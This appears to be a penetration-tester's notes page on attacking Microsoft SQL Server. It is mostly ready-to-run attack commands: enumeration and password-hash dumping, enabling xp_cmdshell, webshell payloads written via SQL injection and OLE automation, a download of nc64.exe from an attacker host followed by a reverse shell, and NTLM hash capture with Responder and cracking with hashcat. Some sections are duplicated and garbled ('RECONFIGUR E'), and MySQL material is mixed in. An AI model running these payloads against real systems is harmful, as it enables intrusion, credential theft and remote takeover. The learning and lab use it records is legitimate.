MSSQL - Microsoft SQL Server

Related resources

• Detailed SQLi Cheat sheet for manual attack.
• SQL injection
• NoSQL injection
• SQL injections

Languages and dictionaries

Server	Dictionary
MySQL	MySQL payloads.
MSSQL	MSSQL payloads.
PostgreSQL	PostgreSQL payloads.
Oracle	Oracle SQL payloads.
SQLite	SQLite payloads.
Cassandra	Cassandra payloads.

Attack-based dictionaries

• Generic SQL Injection Payloads
• Generic Error Based Payloads.
• Generic Union Select Payloads.
• SQL time based payloads .
• SQL Injection Auth Bypass Payloads

Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network. Wikipedia.

By default, MSSQL uses ports TCP/1433 and UDP/1434.  However, when MSSQL operates in a "hidden" mode, it uses the TCP/2433 port.

MSSQL Databases

MSSQL has default system databases that can help us understand the structure of all the databases that may be hosted on a target server.

Default System Database	Description
master	Tracks all system information for an SQL server instance
model	Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database
msdb	The SQL Server Agent uses this database to schedule jobs & alerts
tempdb	Stores temporary objects
resource	Read-only database containing system objects included with SQL server

Table source: System Databases Microsoft Doc and HTB Academy

Authentication Mechanisms

MSSQL supports two authentication modes, which means that users can be created in Windows or the SQL Server:

• Windows authentication mode: This is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.
• Mixed mode: Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.

MSSQL Clients

• SQL Server Management Studio (SSMS) comes as a feature that can be installed with the MSSQL install package or can be downloaded & installed separately
• mssql-cli
• SQL Server PowerShell|
• HediSQL
• SQLPro
• Impacket's mssqlclient.py To locate it:

locate mssqlclient

Of the MSSQL clients listed above, pentesters may find Impacket's mssqlclient.py to be the most useful due to SecureAuthCorp's Impacket project being present on many pentesting distributions at install.

Database configuration

When an admin initially installs and configures MSSQL to be network accessible, the SQL service will likely run as NT SERVICE\MSSQLSERVER. Connecting from the client-side is possible through Windows Authentication, and by default, encryption is not enforced when attempting to connect.

Authentication being set to Windows Authentication means that the underlying Windows OS will process the login request and use either the local SAM database or the domain controller (hosting Active Directory) before allowing connectivity to the database management system.

Misconfigurations to look at:

• MSSQL clients not using encryption to connect to the MSSQL server.
• The use of self-signed certificates when encryption is being used. It is possible to spoof self-signed certificates
• The use of named pipes
• Weak & default sa credentials. Admins may forget to disable this account.##

The SA password for SQL Server is the SQL Administrator account built into the program.  The SA password is established during the installation of SQL Server.

Interact with MSSQL

From Linux

sqsh

If we are targetting MSSQL from Linux, we can use sqsh as an alternative to sqlcmd: sqsh

sqsh -S $IP -U username -P Password123 -h
# -h: disable headers and footers for a cleaner look.

# When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don't specify a domain or hostname, it will assume SQL Authentication.
sqsh -S $ip -U .\\<username> -P 'MyPassword!' -h
# For windows authentication we can use  SERVERNAME\\accountname or .\\accountname

mssqlclient.py from impacket

We can run impacket-mssqlclient to connect to the remote Windows machine running MSSQL by providing a username, a password, and the remote IP, together with the -windows-auth keyword. This forces NTLM authentication (as opposed to Kerberos).

mssqlclient.py -p $port username@$ip 

#Example: impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth

If we can guess or gain access to credentials, this allows us to remotely connect to the MSSQL server and start interacting with databases using T-SQL (Transact-SQL). Authenticating with MSSQL will enable us to interact directly with databases through the SQL Database Engine. From Pwnbox or a personal attack host, we can use Impacket's mssqlclient.py to connect as seen in the output below. Once connected to the server, it may be good to get a lay of the land and list the databases present on the system.

python3 mssqlclient.py Administrator@$ip -windows-auth  
# With python3 mssqlclient.py help you can see more options.

From Windows

sqlcmd  | Guide

The sqlcmd utility lets you enter Transact-SQL statements, system procedures, and script files through a variety of available modes:

• At the command prompt.
• In Query Editor in SQLCMD mode.
• In a Windows script file.
• In an operating system (Cmd.exe) job step of a SQL Server Agent job.

Careful. In some environments the command GO needs to be in lowercase.

sqlcmd -S $IP -U username -P Password123

GUI Application

mssql-cli, mssqlclient.py, dbeaver

SQL Server Management Studio or SSMS

Only in windows. Download, install, and connect to database.

dbeaver

dbeaver is a multi-platform database tool for Linux, macOS, and Windows that supports connecting to multiple database engines such as MSSQL, MySQL, PostgreSQL, among others, making it easy for us, as an attacker, to interact with common database servers.

# Install dbeaver
sudo dpkg -i dbeaver-<version>.deb

# Run dbeaver
dbeaver &

# Once we have access to the database using a command-line utility or a GUI application, we can use common [Transact-SQL statements](https://docs.microsoft.com/en-us/sql/t-sql/statements/statements?view=sql-server-ver15) to enumerate databases and tables containing sensitive information such as usernames and passwords.

mssqlclient.py from impacket

Alternatively, we can use the tool from Impacket with the name mssqlclient.py.

mssqlclient.py -p $port username@$ip 

If we can guess or gain access to credentials, this allows us to remotely connect to the MSSQL server and start interacting with databases using T-SQL (Transact-SQL). Authenticating with MSSQL will enable us to interact directly with databases through the SQL Database Engine. From Pwnbox or a personal attack host, we can use Impacket's mssqlclient.py to connect as seen in the output below. Once connected to the server, it may be good to get a lay of the land and list the databases present on the system.

python3 mssqlclient.py Administrator@$ip -windows-auth  
# With python3 mssqlclient.py help you can see more options.

Basic commands

# Get Microsoft SQL server version
select @@version;

# Get usernames
select user_name()
go 

#####################
# To enumerate privs from user
SQL (kevin  guest@master)> enum_impersonate

Output:
-----
execute as   database   permission_name   state_desc   grantee   grantor   
----------   --------   ---------------   ----------   -------   -------   
LOGIN                   IMPERSONATE       GRANT        kevin     appdev    

# And then impersonate with:
EXECUTE AS LOGIN = 'appdev';


# We need to use GO after our query to execute the SQL syntax. 
# List databases
SELECT name FROM master.dbo.sysdatabases
go

# Select a database
USE $dbName
go
## Examples: Select a database master
## USE master

# Check out which one is the current selected database
SELECT DB_NAME()
go

# Show tables
SELECT table_name FROM $dbName.INFORMATION_SCHEMA.TABLES
go

# Select a database and show content of a specific table.  
USE $dbName
SELECT * FROM $tableName 

# Example: Select all Data from Table "users". The name of the table ("users") was obtained when running the command for showing the tables.
SELECT * FROM users
go

# Get a list of users in the domain
SELECT name FROM master..syslogins
go

# Get a list of users that are sysadmins
SELECT name FROM master..syslogins WHERE sysadmin = 1
go

# And to make sure: 
SELECT is_srvrolemember('sysadmin')
go
# If your user is admin, it will return 1.


#####################
# To list all the available databases, we can select all names from the system catalog.
SELECT name FROM sys.databases;

# We can review this database by querying the tables table in the corresponding information_schema. If we saw offsec as an existing database, this is how we would list tables in that database.
SELECT * FROM offsec.information_schema.tables;

# Following the example, now we saw the table users (in the database offsec), and we want to see their records:
select * from offsec.dbo.users;

#################
# RECON
###################
# Identify MSSQL version, OS version, and patch level to understand the environment and possible vulnerabilities.
SELECT @@version;

# Get the hostname of the SQL server to map it with domain infrastructure.
SELECT @@servername;

# Confirm the current login (e.g., OVERWATCH\sqlsvc) to understand privilege level.
SELECT SYSTEM_USER;

#  Shows database-level user identity.
SELECT USER_NAME();

#  Shows the client machine name connected to MSSQL.
SELECT HOST_NAME();

# Displays the current database in use.
SELECT DB_NAME(); 

#  Checks if the current user has sysadmin privileges.
SELECT IS_SRVROLEMEMBER('sysadmin'); 

# Confirms default role membership.
SELECT IS_SRVROLEMEMBER('public');

#####################
# ## Phase 2 — Permission & Role Enumeration
####################
# Lists all server-level permissions of the current user.
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

#  Lists all SQL and Windows logins in the server.  
SELECT name, type_desc FROM sys.server_principals;

#  Shows permissions granted to users and roles.  
SELECT * FROM sys.server_permissions;

#  Extracts SQL login hashes if accessible.  
SELECT name, password_hash FROM sys.sql_logins; 

# Lists database-level users.  
SELECT * FROM sys.database_principals; 

#  Shows database permissions.
SELECT * FROM sys.database_permissions; 


############################
# ## Phase 3 — Database Enumeration
############################
SELECT name FROM sys.databases; : Lists all available databases (master, msdb, overwatch, etc.).  
USE overwatch; : Switch to application database.  
SELECT name FROM sys.tables; : Lists all tables in the overwatch database.  
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES; : Alternative table enumeration.  

# Lists all columns in all tables.  
SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS; 

SELECT TOP 50 * FROM <tablename>; : Dumps first 50 rows from Eventlog table.


##############################
# Phase 4 — System Database Enumeration
#############################
SELECT name FROM msdb.sys.tables; : Lists tables in msdb (jobs, backups, credentials).  
SELECT * FROM msdb.dbo.sysjobs; : Lists scheduled SQL jobs.  
SELECT * FROM msdb.dbo.backupset; : Shows backup history and file paths.  
SELECT * FROM master.sys.databases; : Lists system databases again with metadata.  
SELECT * FROM master.sys.syslogins; : Shows system logins.



###############################
# Phase 5 — Linked Server Discovery (Critical for Overwatch)
##############################
# Lists all linked SQL servers.
EXEC sp_linkedservers; 

# Shows linked server configuration (RPC, data access, etc.).
SELECT * FROM sys.servers; 

# Displays server and linked server information.
EXEC sp_helpserver; 

# Shows linked server login mappings.
EXEC sp_helplinkedsrvlogin; 

# Displays linked server credential mapping.
SELECT * FROM sys.linked_logins; 


###################################
# Phase 6— Linked Server Testing
###################################
# Test connection to linked server SQL07.
EXEC ('SELECT @@version') AT SQL07; 

# Alternative query to linked server.
SELECT * FROM OPENQUERY(SQL07,'SELECT @@version'); 

# Check authentication on linked server.
EXEC ('SELECT SYSTEM_USER') AT SQL07; 

#  Enumerate remote databases.
EXEC ('SELECT name FROM master.sys.databases') AT SQL07; 


####################################
# Phase 7— Command Execution Checks
###################################
#  Test OS command execution.
EXEC xp_cmdshell 'whoami'; 
EXEC sp_configure'show advanced options',1; RECONFIGUR E; : Enable advanced SQL options.
EXEC sp_configure 'xp_cmdshell',1; RECONFIGUR E; : Enable xp_cmdshell.
EXEC xp_cmdshell 'ipconfig'; : Check network configuration.
EXEC xp_cmdshell 'hostname'; : Get system hostname.


##################################
# Phase 8— SQL Server Services & Configuration
###################################
EXEC sp_configure; : Lists SQL server configuration settings.
SELECT servicename, service_account FROM sys.dm_server_services; : Shows SQL service account.
SELECT * FROM sys.dm_exec_connections; : Lists active connections.
SELECT * FROM sys.dm_exec_sessions; : Shows current sessions.


###################################
# Phase 9— Domain & Network Information
##################################
SELECT name FROM sys.server_principals WHERE type_desc='WINDOWS_LOGIN'; : Lists AD users connected to SQL.  
SELECT * FROM sys.remote_logins; : Shows remote authentication settings.  
SELECT * FROM sys.credentials; : Lists stored credentials.  
SELECT * FROM sys.endpoints; : Shows SQL network endpoints.

Also, you might be interested in executing a cmd shell using xp_cmdshell by reconfiguring sp_configure (see the section Executing cmd shell in a SQL command line).

In Microsoft SQL Server, the xp_cmdshell function takes a string and passes it to a command shell for execution. The function returns any output as rows of text. The function is disabled by default and once enabled, it must be called with the EXECUTE keyword instead of SELECT.

Write files using MSSQL

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

After logging in from our Kali VM to the MSSQL instance, we can enable show advanced options by setting its value to 1, then applying the changes to the running configuration via the RECONFIGURE statement. Next, we'll enable xp_cmdshell and apply the configuration again using RECONFIGURE.

With this feature enabled, we can execute any Windows shell command through the EXECUTE statement followed by the feature name.

EXECUTE xp_cmdshell 'whoami';

Although the various MySQL database variants don't offer a single function to escalate to RCE, we can abuse the SELECT INTO_OUTFILE statement to write files on the web server. For this attack to work, the file location must be writable to the OS user running the database software. Example:

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

The written PHP code file results in the following:

<? system($_REQUEST['cmd']); ?>

To trigger it, go to:

http://$ip/tmp/webshell.php?cmd=id

Create files using MSSQL

# Using MSSQL to Create a File
DECLARE @OLE INT;
DECLARE @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>';
EXECUTE sp_OADestroy @FileID;
EXECUTE sp_OADestroy @OLE;

Read files using MSSQL

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Executing cmd shell in a SQL command line

Our goal can be to spawn a Windows command shell and pass in a string for execution. For that Microsoft SQL syntaxis has the command xp_cmdshell, that will allow us to use the SQL command line as a CLI.

Because malicious users sometimes attempt to elevate their privileges by using xp_cmdshell, xp_cmdshell is disabled by default.  xp_cmdshell can be enabled and disabled by using the Policy-Based Management or by executing sp_configure

sp_configure displays or changes global configuration settings for the current settings. This is how you may take advantage of it:

# To allow advanced options to be changed.   
EXECUTE sp_configure 'show advanced options', 1
go

# To update the currently configured value for advanced options.  
RECONFIGURE
go

# To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
go

# To update the currently configured value for this feature.  
RECONFIGURE
go

Note: The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account

Now we can use the MSSQL terminal to execute commands:

# Who am i?
xp_cmdshell 'whoami'
go

# This will return the .exe files existing in the current directory
EXEC xp_cmdshell 'dir *.exe'
go

# To print a file
EXECUTE xp_cmdshell 'type c:\Users\sql_svc\Desktop\user.txt
go

# With this (and a "python3 -m http.server 80" from our kali serving a file) we can upload a file to the attacked machine, for instance a reverse shell like nc64.exe
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://IPfromOurKali/nc64.exe -outfile nc64.exe"
go

# We could also bind this cmd.exe through the nc to our listener. For that open a different tab in kali and do a "nc -lnvp 443". When launching the reverse shell, we'll get a powershell terminal in this tab by running:
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe IPfromOurKali 443";
# You could also upload winPEAS and run it from this powershell command line

There are other methods to get command execution, such as adding extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.

Another approach:

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

After logging in from our Kali VM to the MSSQL instance, we can enable show advanced options by setting its value to 1, then applying the changes to the running configuration via the RECONFIGURE statement. Next, we'll enable xp_cmdshell and apply the configuration again using RECONFIGURE.

With this feature enabled, we can execute any Windows shell command through the EXECUTE statement followed by the feature name.

EXECUTE xp_cmdshell 'whoami';

NTML relay

Once you access to a database:

xp_dirtree \\10.10.15.203\shared

have the responder ready to capture the hash:

sudo responder -w -d -I tun0  

Crack the hash:

hashcat -m 5600 hashes.txt  /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Stored procedures

In Microsoft SQL Server, stored procedures that start with xp_ are known as extended stored procedures. These procedures are special because they provide an interface between SQL Server and external components or operating system services. Here are some similar stored procedures that start with xp_, along with brief explanations of their purposes:

1. xp_fixeddrives

• Purpose: Returns information about the disk drives on the server.
• Example: EXEC xp_fixeddrives;

2. xp_regread and xp_regwrite

• Purpose: Read from and write to the Windows registry from within SQL Server.
• Examples:
  • EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\MyApp', 'Version';
  • EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\MyApp', 'Version', '1.0';

3. xp_fileexist and xp_filesize

• Purpose: Checks if a file exists and returns its size, respectively.
• Examples:
  • EXEC xp_fileexist 'C:\MyFile.txt';
  • EXEC xp_filesize 'C:\MyFile.txt';

4. xp_dirtree

• Purpose: Generates a hierarchical listing of files and directories within a specified directory on the file system
• Example: EXEC xp_dirtree 'C:\MyDirectory\', 1;

5. xp_cmdshell

• Purpose: Executes operating system commands from within SQL Server.
• Example: EXEC xp_cmdshell 'dir C:\';

Last update: 2026-06-30
Created: January 6, 2023 21:39:12